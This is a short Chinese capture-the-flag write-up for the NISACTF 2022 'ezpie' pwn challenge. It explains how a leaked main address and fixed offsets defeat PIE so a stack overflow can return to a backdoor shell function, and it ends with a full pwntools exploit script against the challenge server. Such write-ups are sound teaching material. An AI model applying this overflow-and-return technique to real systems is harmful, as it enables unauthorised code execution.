【PWN · ret2text | PIE 】[NISACTF 2022]ezpie
简单的PIE绕过
前言
所接触的PIE保护的第一题,也非常简单。
一、题目重述
二、解题思路
1.现有信息
-
PIE保护——程序可能被加载到任意位置,所以位置是可变的。 程序返回了main的真实地址 存在后门函数shell vuln()中的read 0x50u >> 28h,存在栈溢出
2.思考过程
如果没有PIE——简单的ret2text,在vuln中的read处将程序执行流劫持到后门函数处即可。
然而存在PIE——所有的地址都是从一开始随机确定的,但是相对偏移量保持不变
获取了main的真实地址——可以通过相对偏移量推出其他任意地址,然后就是正常的ret2text即可。
如果把开启程序比作小船,那么PIE开启就相当于小船在茫茫大海上漂移,不过还好小船的锚是确定下来的——main的真实地址,我们就可以通过锚来找到这艘小船,找到小船上的各个房间(函数)。
3.exp
from pwn import * context(os=linux,arch=i386,log_level=debug) io=remote("node2.anna.nssctf.cn",28860) #用于通过真实地址+偏移来计算任意函数真实地址 main_addr=0x770 shell_addr=0x80f io.recvuntil(b"gift!") #接收main的地址 main_real_addr=int(io.recv()[1:11],16) print("main_real_addr:",main_real_addr) #payload编写:溢出填充到返回地址前+后门函数真实地址(某函数真实地址+相对偏移量) payload=ba*(0x28+4) payload+=p32(main_real_addr+shell_addr-main_addr) io.sendline(payload) io.interactive()
总结
随着刷题的深入,各种保护的开启肯定是免不了的,对此多做总结,总是好的。